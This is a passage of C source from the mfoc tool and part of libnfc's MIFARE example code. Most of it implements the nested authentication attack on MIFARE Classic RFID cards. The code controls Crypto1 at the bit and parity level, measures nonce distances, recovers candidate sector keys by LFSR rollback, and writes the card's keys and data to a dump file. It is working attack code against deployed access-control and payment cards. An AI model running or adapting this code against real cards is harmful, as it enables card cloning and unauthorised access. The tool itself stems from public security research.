memcpy(mtDump.amb[block].mbt.abtKeyA, t.sectors[i].KeyA, 6); 723 | memcpy(mtDump.amb[block].mbt.abtKeyB, t.sectors[i].KeyB, 6); 724 | if (!failure) memcpy(mtDump.amb[block].mbt.abtAccessBits, mp.mpd.abtData + 6, 4); 725 | } else if (!failure) memcpy(mtDump.amb[block].mbd.abtData, mp.mpd.abtData, 16); 726 | memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid)); 727 | } 728 | 729 | // Finally save all keys + data to file 730 | uint16_t dump_size = (t.num_blocks + 1) * 16; 731 | if (fwrite(&mtDump, 1, dump_size, pfDump) != dump_size) { 732 | fprintf(stdout, "Error, cannot write dump\n"); 733 | fclose(pfDump); 734 | goto error; 735 | } 736 | fclose(pfDump); 737 | } 738 | 739 | free(t.sectors); 740 | free(d.distances); 741 | 742 | // Reset the "advanced" configuration to normal 743 | nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, true); 744 | nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, true); 745 | 746 | // Disconnect device and exit 747 | nfc_close(r.pdi); 748 | nfc_exit(context); 749 | exit(EXIT_SUCCESS); 750 | error: 751 | nfc_close(r.pdi); 752 | nfc_exit(context); 753 | exit(EXIT_FAILURE); 754 | } 755 | 756 | void usage(FILE *stream, int errno) 757 | { 758 | fprintf(stream, "Usage: mfoc [-h] [-k key] [-f file] ... [-P probnum] [-T tolerance] [-O output]\n"); 759 | fprintf(stream, "\n"); 760 | fprintf(stream, " h print this help and exit\n"); 761 | // fprintf(stream, " B instead of 'A' dump 'B' keys\n"); 762 | fprintf(stream, " k try the specified key in addition to the default keys\n"); 763 | fprintf(stream, " f parses a file of keys to add in addition to the default keys \n"); 764 | // fprintf(stream, " D number of distance probes, default is 20\n"); 765 | // fprintf(stream, " S number of sets with keystreams, default is 5\n"); 766 | fprintf(stream, " P number of probes per sector, instead of default of 20\n"); 767 | fprintf(stream, " T nonce tolerance half-range, instead of default of 20\n (i.e., 40 for the total range, in both directions)\n"); 768 | // fprintf(stream, " s specify the list of sectors to crack, for example -s 0,1,3,5\n"); 769 | fprintf(stream, " O file in which the card contents will be written (REQUIRED)\n"); 770 | fprintf(stream, " D file in which partial card info will be written in case PRNG is not vulnerable\n"); 771 | fprintf(stream, "\n"); 772 | fprintf(stream, "Example: mfoc -O mycard.mfd\n"); 773 | fprintf(stream, "Example: mfoc -k ffffeeeedddd -O mycard.mfd\n"); 774 | fprintf(stream, "Example: mfoc -f keys.txt -O mycard.mfd\n"); 775 | fprintf(stream, "Example: mfoc -P 50 -T 30 -O mycard.mfd\n"); 776 | fprintf(stream, "\n"); 777 | fprintf(stream, "This is mfoc version %s.\n", PACKAGE_VERSION); 778 | fprintf(stream, "For more information, run: 'man mfoc'.\n"); 779 | exit(errno); 780 | } 781 | 782 | void mf_init(mfreader *r) 783 | { 784 | // Connect to the first NFC device 785 | nfc_init(&context); 786 | if (context == NULL) { 787 | ERR("Unable to init libnfc (malloc)"); 788 | exit(EXIT_FAILURE); 789 | } 790 | r->pdi = nfc_open(context, NULL); 791 | if (!r->pdi) { 792 | printf("No NFC device found.\n"); 793 | exit(EXIT_FAILURE); 794 | } 795 | } 796 | 797 | void mf_configure(nfc_device *pdi) 798 | { 799 | if (nfc_initiator_init(pdi) < 0) { 800 | nfc_perror(pdi, "nfc_initiator_init"); 801 | exit(EXIT_FAILURE); 802 | } 803 | // Drop the field for a while, so can be reset 804 | if (nfc_device_set_property_bool(pdi, NP_ACTIVATE_FIELD, false) < 0) { 805 | nfc_perror(pdi, "nfc_device_set_property_bool activate field"); 806 | exit(EXIT_FAILURE); 807 | } 808 | // Let the reader only try once to find a tag 809 | if (nfc_device_set_property_bool(pdi, NP_INFINITE_SELECT, false) < 0) { 810 | nfc_perror(pdi, "nfc_device_set_property_bool infinite select"); 811 | exit(EXIT_FAILURE); 812 | } 813 | // Configure the CRC and Parity settings 814 | if (nfc_device_set_property_bool(pdi, NP_HANDLE_CRC, true) < 0) { 815 | nfc_perror(pdi, "nfc_device_set_property_bool crc"); 816 | exit(EXIT_FAILURE); 817 | } 818 | if (nfc_device_set_property_bool(pdi, NP_HANDLE_PARITY, true) < 0) { 819 | nfc_perror(pdi, "nfc_device_set_property_bool parity"); 820 | exit(EXIT_FAILURE); 821 | } 822 | // Enable the field so more power consuming cards can power themselves up 823 | if (nfc_device_set_property_bool(pdi, NP_ACTIVATE_FIELD, true) < 0) { 824 | nfc_perror(pdi, "nfc_device_set_property_bool activate field"); 825 | exit(EXIT_FAILURE); 826 | } 827 | } 828 | 829 | void mf_select_tag(nfc_device *pdi, nfc_target *pnt) 830 | { 831 | if (nfc_initiator_select_passive_target(pdi, nm, NULL, 0, pnt) < 0) { 832 | ERR("Unable to connect to the MIFARE Classic tag"); 833 | nfc_close(pdi); 834 | nfc_exit(context); 835 | exit(EXIT_FAILURE); 836 | } 837 | } 838 | 839 | int trailer_block(uint32_t block) 840 | { 841 | // Test if we are in the small or big sectors 842 | return (block < 128) ? ((block + 1) % 4 == 0) : ((block + 1) % 16 == 0); 843 | } 844 | 845 | // Return position of sector if it is encrypted with the default key otherwise exit.. 846 | int find_exploit_sector(mftag t) 847 | { 848 | int i; 849 | bool interesting = false; 850 | 851 | for (i = 0; i < t.num_sectors; i++) { 852 | if (!t.sectors[i].foundKeyA || !t.sectors[i].foundKeyB) { 853 | interesting = true; 854 | break; 855 | } 856 | } 857 | if (!interesting) { 858 | fprintf(stdout, "\nWe have all sectors encrypted with the default keys..\n\n"); 859 | return -1; 860 | } 861 | for (i = 0; i < t.num_sectors; i++) { 862 | if ((t.sectors[i].foundKeyA) || (t.sectors[i].foundKeyB)) { 863 | fprintf(stdout, "\n\nUsing sector %02d as an exploit sector\n", i); 864 | return i; 865 | } 866 | } 867 | ERR("\n\nNo sector encrypted with the default key has been found, exiting.."); 868 | exit(EXIT_FAILURE); 869 | } 870 | 871 | void mf_anticollision(mftag t, mfreader r) 872 | { 873 | if (nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt) < 0) { 874 | nfc_perror(r.pdi, "nfc_initiator_select_passive_target"); 875 | ERR("Tag has been removed"); 876 | exit(EXIT_FAILURE); 877 | } 878 | } 879 | 880 | 881 | bool 882 | get_rats_is_2k(mftag t, mfreader r) 883 | { 884 | int res; 885 | uint8_t abtRx[MAX_FRAME_LEN]; 886 | int szRxBits; 887 | uint8_t abtRats[2] = { 0xe0, 0x50}; 888 | // Use raw send/receive methods 889 | if (nfc_device_set_property_bool(r.pdi, NP_EASY_FRAMING, false) < 0) { 890 | nfc_perror(r.pdi, "nfc_configure"); 891 | return false; 892 | } 893 | res = nfc_initiator_transceive_bytes(r.pdi, abtRats, sizeof(abtRats), abtRx, sizeof(abtRx), 0); 894 | if (res > 0) { 895 | // ISO14443-4 card, turn RF field off/on to access ISO14443-3 again 896 | if (nfc_device_set_property_bool(r.pdi, NP_ACTIVATE_FIELD, false) < 0) { 897 | nfc_perror(r.pdi, "nfc_configure"); 898 | return false; 899 | } 900 | if (nfc_device_set_property_bool(r.pdi, NP_ACTIVATE_FIELD, true) < 0) { 901 | nfc_perror(r.pdi, "nfc_configure"); 902 | return false; 903 | } 904 | } 905 | // Reselect tag 906 | if (nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt) <= 0) { 907 | printf("Error: tag disappeared\n"); 908 | nfc_close(r.pdi); 909 | nfc_exit(context); 910 | exit(EXIT_FAILURE); 911 | } 912 | if (res >= 10) { 913 | printf("ATS %02X%02X%02X%02X%02X|%02X%02X%02X%02X%02X\n", res, abtRx[0], abtRx[1], abtRx[2], abtRx[3], abtRx[4], abtRx[5], abtRx[6], abtRx[7], abtRx[8]); 914 | return ((abtRx[5] == 0xc1) && (abtRx[6] == 0x05) 915 | && (abtRx[7] == 0x2f) && (abtRx[8] == 0x2f) 916 | && ((t.nt.nti.nai.abtAtqa[1] & 0x02) == 0x00)); 917 | } else { 918 | return false; 919 | } 920 | } 921 | 922 | int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA) 923 | { 924 | struct Crypto1State *pcs; 925 | struct Crypto1State *revstate; 926 | struct Crypto1State *revstate_start; 927 | 928 | uint64_t lfsr; 929 | 930 | // Possible key counter, just continue with a previous "session" 931 | uint32_t kcount = pk->size; 932 | 933 | uint8_t Nr[4] = { 0x00, 0x00, 0x00, 0x00 }; // Reader nonce 934 | uint8_t Auth[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 }; 935 | uint8_t AuthEnc[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 }; 936 | uint8_t AuthEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; 937 | 938 | uint8_t ArEnc[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; 939 | uint8_t ArEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; 940 | 941 | uint8_t Rx[MAX_FRAME_LEN]; // Tag response 942 | uint8_t RxPar[MAX_FRAME_LEN]; // Tag response 943 | 944 | uint32_t Nt, NtLast, NtProbe, NtEnc, Ks1; 945 | 946 | int i; 947 | uint32_t m; 948 | 949 | // Prepare AUTH command 950 | Auth[0] = (t.sectors[e_sector].foundKeyA) ? MC_AUTH_A : MC_AUTH_B; 951 | iso14443a_crc_append(Auth, 2); 952 | // fprintf(stdout, "\nAuth command:\t"); 953 | // print_hex(Auth, 4); 954 | 955 | // We need full control over the CRC 956 | if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, false) < 0) { 957 | nfc_perror(r.pdi, "nfc_device_set_property_bool crc"); 958 | exit(EXIT_FAILURE); 959 | } 960 | 961 | // Request plain tag-nonce 962 | // TODO: Set NP_EASY_FRAMING option only once if possible 963 | if (nfc_device_set_property_bool(r.pdi, NP_EASY_FRAMING, false) < 0) { 964 | nfc_perror(r.pdi, "nfc_device_set_property_bool framing"); 965 | exit(EXIT_FAILURE); 966 | } 967 | 968 | if (nfc_initiator_transceive_bytes(r.pdi, Auth, 4, Rx, sizeof(Rx), 0) < 0) { 969 | fprintf(stdout, "Error while requesting plain tag-nonce\n"); 970 | exit(EXIT_FAILURE); 971 | } 972 | 973 | if (nfc_device_set_property_bool(r.pdi, NP_EASY_FRAMING, true) < 0) { 974 | nfc_perror(r.pdi, "nfc_device_set_property_bool"); 975 | exit(EXIT_FAILURE); 976 | } 977 | // print_hex(Rx, 4); 978 | 979 | // Save the tag nonce (Nt) 980 | Nt = bytes_to_num(Rx, 4); 981 | 982 | // Init the cipher with key {0..47} bits 983 | if (t.sectors[e_sector].foundKeyA) { 984 | pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyA, 6)); 985 | } else { 986 | pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyB, 6)); 987 | } 988 | 989 | // Load (plain) uid^nt into the cipher {48..79} bits 990 | crypto1_word(pcs, bytes_to_num(Rx, 4) ^ t.authuid, 0); 991 | 992 | // Generate (encrypted) nr+parity by loading it into the cipher 993 | for (i = 0; i < 4; i++) { 994 | // Load in, and encrypt the reader nonce (Nr) 995 | ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i]; 996 | ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nr[i]); 997 | } 998 | // Skip 32 bits in the pseudo random generator 999 | Nt = prng_successor(Nt, 32); 1000 | // Generate reader-answer from tag-nonce 1001 | for (i = 4; i < 8; i++) { 1002 | // Get the next random byte 1003 | Nt = prng_successor(Nt, 8); 1004 | // Encrypt the reader-answer (Nt' = suc2(Nt)) 1005 | ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^(Nt & 0xff); 1006 | ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nt); 1007 | } 1008 | 1009 | // Finally we want to send arbitrary parity bits 1010 | if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, false) < 0) { 1011 | nfc_perror(r.pdi, "nfc_device_set_property_bool parity"); 1012 | exit(EXIT_FAILURE); 1013 | } 1014 | 1015 | // Transmit reader-answer 1016 | // fprintf(stdout, "\t{Ar}:\t"); 1017 | // print_hex_par(ArEnc, 64, ArEncPar); 1018 | int res; 1019 | if (((res = nfc_initiator_transceive_bits(r.pdi, ArEnc, 64, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) { 1020 | ERR("Reader-answer transfer error, exiting.."); 1021 | exit(EXIT_FAILURE); 1022 | } 1023 | 1024 | // Now print the answer from the tag 1025 | // fprintf(stdout, "\t{At}:\t"); 1026 | // print_hex_par(Rx,RxLen,RxPar); 1027 | 1028 | // Decrypt the tag answer and verify that suc3(Nt) is At 1029 | Nt = prng_successor(Nt, 32); 1030 | if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt & 0xFFFFFFFF))) { 1031 | ERR("[At] is not Suc3(Nt), something is wrong, exiting.."); 1032 | exit(EXIT_FAILURE); 1033 | } 1034 | // fprintf(stdout, "Authentication completed.\n\n"); 1035 | 1036 | // If we are in "Get Distances" mode 1037 | if (mode == 'd') { 1038 | for (m = 0; m < d->num_distances; m++) { 1039 | // fprintf(stdout, "Nested Auth number: %x: ,", m); 1040 | // Encrypt Auth command with the current keystream 1041 | for (i = 0; i < 4; i++) { 1042 | AuthEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ Auth[i]; 1043 | // Encrypt the parity bits with the 4 plaintext bytes 1044 | AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]); 1045 | } 1046 | 1047 | // Sending the encrypted Auth command 1048 | if (nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar, Rx, sizeof(Rx), RxPar) < 0) { 1049 | fprintf(stdout, "Error requesting encrypted tag-nonce\n"); 1050 | exit(EXIT_FAILURE); 1051 | } 1052 | 1053 | // Decrypt the encrypted auth 1054 | if (t.sectors[e_sector].foundKeyA) { 1055 | pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyA, 6)); 1056 | } else { 1057 | pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyB, 6)); 1058 | } 1059 | NtLast = bytes_to_num(Rx, 4) ^ crypto1_word(pcs, bytes_to_num(Rx, 4) ^ t.authuid, 1); 1060 | 1061 | // Make sure the card is using the known PRNG 1062 | if (! validate_prng_nonce(NtLast)) { 1063 | printf("Card is not vulnerable to nested attack\n"); 1064 | return -99999; 1065 | } 1066 | // Save the determined nonces distance 1067 | d->distances[m] = nonce_distance(Nt, NtLast); 1068 | 1069 | // Again, prepare and send {At} 1070 | for (i = 0; i < 4; i++) { 1071 | ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i]; 1072 | ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nr[i]); 1073 | } 1074 | Nt = prng_successor(NtLast, 32); 1075 | for (i = 4; i < 8; i++) { 1076 | Nt = prng_successor(Nt, 8); 1077 | ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^(Nt & 0xFF); 1078 | ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nt); 1079 | } 1080 | nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, false); 1081 | if (((res = nfc_initiator_transceive_bits(r.pdi, ArEnc, 64, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) { 1082 | ERR("Reader-answer transfer error, exiting.."); 1083 | exit(EXIT_FAILURE); 1084 | } 1085 | Nt = prng_successor(Nt, 32); 1086 | if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt & 0xFFFFFFFF))) { 1087 | ERR("[At] is not Suc3(Nt), something is wrong, exiting.."); 1088 | exit(EXIT_FAILURE); 1089 | } 1090 | } // Next auth probe 1091 | 1092 | // Find median from all distances 1093 | d->median = median(*d); 1094 | //fprintf(stdout, "Median: %05d\n", d->median); 1095 | } // The end of Get Distances mode 1096 | 1097 | // If we are in "Get Recovery" mode 1098 | if (mode == 'r') { 1099 | // Again, prepare the Auth command with MC_AUTH_A, recover the block and CRC 1100 | Auth[0] = dumpKeysA ? MC_AUTH_A : MC_AUTH_B; 1101 | Auth[1] = a_sector; 1102 | iso14443a_crc_append(Auth, 2); 1103 | 1104 | // Encryption of the Auth command, sending the Auth command 1105 | for (i = 0; i < 4; i++) { 1106 | AuthEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ Auth[i]; 1107 | // Encrypt the parity bits with the 4 plaintext bytes 1108 | AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]); 1109 | } 1110 | if (nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar, Rx, sizeof(Rx), RxPar) < 0) { 1111 | ERR("while requesting encrypted tag-nonce"); 1112 | exit(EXIT_FAILURE); 1113 | } 1114 | 1115 | // Finally we want to send arbitrary parity bits 1116 | if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, true) < 0) { 1117 | nfc_perror(r.pdi, "nfc_device_set_property_bool parity restore M"); 1118 | exit(EXIT_FAILURE); 1119 | } 1120 | 1121 | if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, true) < 0) { 1122 | nfc_perror(r.pdi, "nfc_device_set_property_bool crc restore M"); 1123 | exit(EXIT_FAILURE); 1124 | } 1125 | 1126 | // Save the encrypted nonce 1127 | NtEnc = bytes_to_num(Rx, 4); 1128 | 1129 | // Parity validity check 1130 | for (i = 0; i < 3; ++i) { 1131 | d->parity[i] = (oddparity(Rx[i]) != RxPar[i]); 1132 | } 1133 | 1134 | // Iterate over Nt-x, Nt+x 1135 | // fprintf(stdout, "Iterate from %d to %d\n", d->median-TOLERANCE, d->median+TOLERANCE); 1136 | NtProbe = prng_successor(Nt, d->median - d->tolerance); 1137 | for (m = d->median - d->tolerance; m <= d->median + d->tolerance; m += 2) { 1138 | 1139 | // Try to recover the keystream1 1140 | Ks1 = NtEnc ^ NtProbe; 1141 | 1142 | // Skip this nonce after invalid 3b parity check 1143 | revstate_start = NULL; 1144 | if (valid_nonce(NtProbe, NtEnc, Ks1, d->parity)) { 1145 | // And finally recover the first 32 bits of the key 1146 | revstate = lfsr_recovery32(Ks1, NtProbe ^ t.authuid); 1147 | if (revstate_start == NULL) { 1148 | revstate_start = revstate; 1149 | } 1150 | while ((revstate->odd != 0x0) || (revstate->even != 0x0)) { 1151 | lfsr_rollback_word(revstate, NtProbe ^ t.authuid, 0); 1152 | crypto1_get_lfsr(revstate, &lfsr); 1153 | // Allocate a new space for keys 1154 | if (((kcount % MEM_CHUNK) == 0) || (kcount >= pk->size)) { 1155 | pk->size += MEM_CHUNK; 1156 | // fprintf(stdout, "New chunk by %d, sizeof %lu\n", kcount, pk->size * sizeof(uint64_t)); 1157 | pk->possibleKeys = (uint64_t *) realloc((void *)pk->possibleKeys, pk->size * sizeof(uint64_t)); 1158 | if (pk->possibleKeys == NULL) { 1159 | ERR("Memory allocation error for pk->possibleKeys"); 1160 | exit(EXIT_FAILURE); 1161 | } 1162 | } 1163 | pk->possibleKeys[kcount] = lfsr; 1164 | kcount++; 1165 | revstate++; 1166 | } 1167 | free(revstate_start); 1168 | } 1169 | NtProbe = prng_successor(NtProbe, 2); 1170 | } 1171 | // Truncate 1172 | if (kcount != 0) { 1173 | pk->size = --kcount; 1174 | if ((pk->possibleKeys = (uint64_t *) realloc((void *)pk->possibleKeys, pk->size * sizeof(uint64_t))) == NULL) { 1175 | ERR("Memory allocation error for pk->possibleKeys"); 1176 | exit(EXIT_FAILURE); 1177 | } 1178 | } 1179 | } 1180 | crypto1_destroy(pcs); 1181 | return 0; 1182 | } 1183 | 1184 | // Return the median value from the nonce distances array 1185 | uint32_t median(denonce d) 1186 | { 1187 | int middle = (int) d.num_distances / 2; 1188 | qsort(d.distances, d.num_distances, sizeof(uint32_t), compar_int); 1189 | 1190 | if (d.num_distances % 2 == 1) { 1191 | // Odd number of elements 1192 | return d.distances[middle]; 1193 | } else { 1194 | // Even number of elements, return the smaller value 1195 | return (uint32_t)(d.distances[middle - 1]); 1196 | } 1197 | } 1198 | 1199 | int compar_int(const void *a, const void *b) 1200 | { 1201 | if (*(uint64_t *)b == *(uint64_t *)a) return 0; 1202 | if (*(uint64_t *)b < * (uint64_t *)a) return 1; 1203 | return -1; 1204 | } 1205 | 1206 | // Compare countKeys structure 1207 | int compar_special_int(const void *a, const void *b) 1208 | { 1209 | return (((countKeys *)b)->count - ((countKeys *)a)->count); 1210 | } 1211 | 1212 | countKeys *uniqsort(uint64_t *possibleKeys, uint32_t size) 1213 | { 1214 | unsigned int i, j = 0; 1215 | int count = 0; 1216 | countKeys *our_counts; 1217 | 1218 | qsort(possibleKeys, size, sizeof(uint64_t), compar_int); 1219 | 1220 | our_counts = calloc(size, sizeof(countKeys)); 1221 | if (our_counts == NULL) { 1222 | ERR("Memory allocation error for our_counts"); 1223 | exit(EXIT_FAILURE); 1224 | } 1225 | 1226 | for (i = 0; i < size; i++) { 1227 | if (possibleKeys[i + 1] == possibleKeys[i]) { 1228 | count++; 1229 | } else { 1230 | our_counts[j].key = possibleKeys[i]; 1231 | our_counts[j].count = count; 1232 | j++; 1233 | count = 0; 1234 | } 1235 | } 1236 | qsort(our_counts, j, sizeof(countKeys), compar_special_int); 1237 | return (our_counts); 1238 | } 1239 | 1240 | 1241 | // Return 1 if the nonce is invalid else return 0 1242 | int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, uint8_t *parity) 1243 | { 1244 | return ((odd_parity((Nt >> 24) & 0xFF) == ((parity[0]) ^ odd_parity((NtEnc >> 24) & 0xFF) ^ BIT(Ks1, 16))) & \ 1245 | (odd_parity((Nt >> 16) & 0xFF) == ((parity[1]) ^ odd_parity((NtEnc >> 16) & 0xFF) ^ BIT(Ks1, 8))) & \ 1246 | (odd_parity((Nt >> 8) & 0xFF) == ((parity[2]) ^ odd_parity((NtEnc >> 8) & 0xFF) ^ BIT(Ks1, 0)))) ? 1 : 0; 1247 | } 1248 | 1249 | void num_to_bytes(uint64_t n, uint32_t len, uint8_t *dest) 1250 | { 1251 | while (len--) { 1252 | dest[len] = (uint8_t) n; 1253 | n >>= 8; 1254 | } 1255 | } 1256 | 1257 | long long unsigned int bytes_to_num(uint8_t *src, uint32_t len) 1258 | { 1259 | uint64_t num = 0; 1260 | while (len--) { 1261 | num = (num << 8) | (*src); 1262 | src++; 1263 | } 1264 | return num; 1265 | } 1266 | -------------------------------------------------------------------------------- /src/mfoc.h: -------------------------------------------------------------------------------- 1 | #define MEM_CHUNK 10000 2 | #define TRY_KEYS 50 3 | 4 | // Number of trailers == number of sectors 5 | // Mifare Classic 1k 16x64b = 16 6 | #define NR_TRAILERS_1k (16) 7 | // Mifare Classic Mini 8 | #define NR_TRAILERS_MINI (5) 9 | // Mifare Classic 4k 32x64b + 8*256b = 40 10 | #define NR_TRAILERS_4k (40) 11 | // Mifare Classic 2k 32x64b 12 | #define NR_TRAILERS_2k (32) 13 | 14 | // Number of blocks 15 | // Mifare Classic 1k 16 | #define NR_BLOCKS_1k 0x3f 17 | // Mifare Classic Mini 18 | #define NR_BLOCKS_MINI 0x13 19 | // Mifare Classic 4k 20 | #define NR_BLOCKS_4k 0xff 21 | // Mifare Classic 2k 22 | #define NR_BLOCKS_2k 0x7f 23 | 24 | #define MAX_FRAME_LEN 264 25 | 26 | // Used for counting nonce distances, explore [nd-value, nd+value] 27 | #define DEFAULT_TOLERANCE 20 28 | 29 | // Default number of distance probes 30 | #define DEFAULT_DIST_NR 15 31 | 32 | // Default number of probes for a key recovery for one sector 33 | #define DEFAULT_PROBES_NR 150 34 | 35 | // Number of sets with 32b keys 36 | #define DEFAULT_SETS_NR 5 37 | 38 | #define odd_parity(i) (( (i) ^ (i)>>1 ^ (i)>>2 ^ (i)>>3 ^ (i)>>4 ^ (i)>>5 ^ (i)>>6 ^ (i)>>7 ^ 1) & 0x01) 39 | 40 | typedef struct { 41 | uint8_t KeyA[6]; 42 | uint8_t KeyB[6]; 43 | bool foundKeyA; 44 | bool foundKeyB; 45 | uint8_t trailer; // Value of a trailer block 46 | } sector; 47 | 48 | typedef struct { 49 | uint32_t *distances; 50 | uint32_t median; 51 | uint32_t num_distances; 52 | uint32_t tolerance; 53 | uint8_t parity[3]; // used for 3 bits of parity information 54 | } denonce; // Revealed information about nonce 55 | 56 | typedef struct { 57 | nfc_target nt; 58 | sector *sectors; // Allocate later, we do not know the number of sectors yet 59 | sector e_sector; // Exploit sector 60 | uint8_t num_sectors; 61 | uint8_t num_blocks; 62 | uint32_t authuid; 63 | } mftag; 64 | 65 | typedef struct { 66 | uint64_t *possibleKeys; 67 | uint32_t size; 68 | } pKeys; 69 | 70 | typedef struct { 71 | uint64_t *brokenKeys; 72 | uint32_t size; 73 | } bKeys; 74 | 75 | typedef struct { 76 | nfc_device *pdi; 77 | } mfreader; 78 | 79 | typedef struct { 80 | uint64_t key; 81 | int count; 82 | } countKeys; 83 | 84 | 85 | void usage(FILE *stream, int errno); 86 | void mf_init(mfreader *r); 87 | void mf_configure(nfc_device *pdi); 88 | void mf_select_tag(nfc_device *pdi, nfc_target *pnt); 89 | int trailer_block(uint32_t block); 90 | int find_exploit_sector(mftag t); 91 | void mf_anticollision(mftag t, mfreader r); 92 | bool get_rats_is_2k(mftag t, mfreader r); 93 | int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA); 94 | uint32_t median(denonce d); 95 | int compar_int(const void *a, const void *b); 96 | int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, uint8_t *parity); 97 | int compar_special_int(const void *a, const void *b); 98 | countKeys *uniqsort(uint64_t *possibleKeys, uint32_t size); 99 | void num_to_bytes(uint64_t n, uint32_t len, uint8_t *dest); 100 | long long unsigned int bytes_to_num(uint8_t *src, uint32_t len); 101 | -------------------------------------------------------------------------------- /src/mifare.c: -------------------------------------------------------------------------------- 1 | /*- 2 | * Public platform independent Near Field Communication (NFC) library examples 3 | * 4 | * Copyright (C) 2009 Roel Verdult 5 | * Copyright (C) 2010 Romain Tartière 6 | * Copyright (C) 2010, 2011, 2013 Romuald Conty 7 | * 8 | * Redistribution and use in source and binary forms, with or without 9 | * modification, are permitted provided that the following conditions are met: 10 | * 1) Redistributions of source code must retain the above copyright notice, 11 | * this list of conditions and the following disclaimer. 12 | * 2 )Redistributions in binary form must reproduce the above copyright 13 | * notice, this list of conditions and the following disclaimer in the 14 | * documentation and/or other materials provided with the distribution. 15 | * 16 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE 20 | * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | * POSSIBILITY OF SUCH DAMAGE. 27 | * 28 | * Note that this license only applies on the examples, NFC library itself is under LGPL 29 | * 30 | */ 31 | 32 | /** 33 | * @file mifare.c 34 | * @brief provide samples structs and functions to manipulate MIFARE Classic and Ultralight tags using libnfc 35 | */ 36 | 37 | /* 38 | * This implementation was written based on information provided by the 39 | * following document: 40 | * 41 | * MIFARE Classic Specification 42 | * MF1ICS50 43 | * Functional specification 44 | * Rev. 5.3 - 29 January 2008 45 | * http://www.nxp.com/acrobat/other/identification/M001053_MF1ICS50_rev5_3.pdf 46 | */ 47 | 48 | #include "mifare.h" 49 | 50 | #include 51 | 52 | #include 53 | 54 | /** 55 | * @brief Execute a MIFARE Classic command 56 | * @return Returns NFC_SUCCESS if action was successfully performed; otherwise returns error code (negative value). 57 | * @param pmp Some commands need additional information. This information should be supplied in the mifare_param union. 58 | * 59 | * The specified MIFARE command will be executed on the tag. There are 60 | * different commands possible, they all require the destination block number. 61 | * 62 | * @note There are three different types of information (Authenticate, Data and Value). 63 | * 64 | * First an authentication must take place using Key A or B. It requires a 48 bit Key (6 bytes) and the UID. 65 | * After a successful authentication it will be possible to execute other commands (e.g. Read/Write). 66 | * 67 | * Like libnfc's functions, this one returns negative value on error (libnfc's 68 | * error code) but two of them need a special attention in this context (MIFARE 69 | * Classic): 70 | * - NFC_EMFCAUTHFAIL, "MIFARE authentication failed", means key is not valid 71 | * on specified sector. 72 | * - NFC_ERFTRANS, "Invalid received frame", when occurs on MIFARE command 73 | * read or write after a successful authentication, means permissions allowed 74 | * by current acces bytes are not sufficient to process the command. 75 | */ 76 | int 77 | nfc_initiator_mifare_cmd(nfc_device *pnd, const mifare_cmd mc, const uint8_t ui8Block, mifare_param *pmp) 78 | { 79 | uint8_t abtRx[265]; 80 | size_t szParamLen; 81 